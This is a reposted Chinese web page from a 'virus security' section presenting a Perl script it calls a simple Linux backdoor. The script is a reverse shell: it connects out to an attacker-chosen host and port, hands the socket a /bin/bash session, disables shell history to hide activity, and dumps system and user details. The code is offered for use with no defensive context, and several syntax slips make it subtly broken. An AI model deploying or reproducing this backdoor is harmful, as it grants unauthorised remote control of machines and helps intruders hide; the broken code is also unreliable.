您现在的位置: >> 中亚首页  >>  电脑园地 >> 病毒安全 >> perl实现的linux简单后门 

perl实现的linux简单后门 

来源:网摘   作者:佚名   发表时间:2009年8月11日   共有记数访问

#!/usr/bin/perl
use IO::Socket;

$system = '/bin/bash';
unless (@ARGV == 2)
{ die "usage: $0 host port"}
($host, $port) = @ARGV;

$socket = IO::Socket::INET->new(PeerAddr => "127.0.0.1",
PeerPort => "9050",
Proto => "tcp",
Type => SOCK_STREAM
Timeout => 60)
or die "connection can't be establishedrn";

connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or "connection can't be establishedrn";
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");

system("unset HISTFILE; unset SAVEHIST ;echo =#Systeminfo#=; uname -a;echo; echo -+Userinfo+-; id; echo; echo =Directory=; pwd; echo; echo =Shell=");
system("whoami && groups && users");
system("$system");

打印】 【关闭】 【首页

更多关于perl实现的linux简单后门 的文章: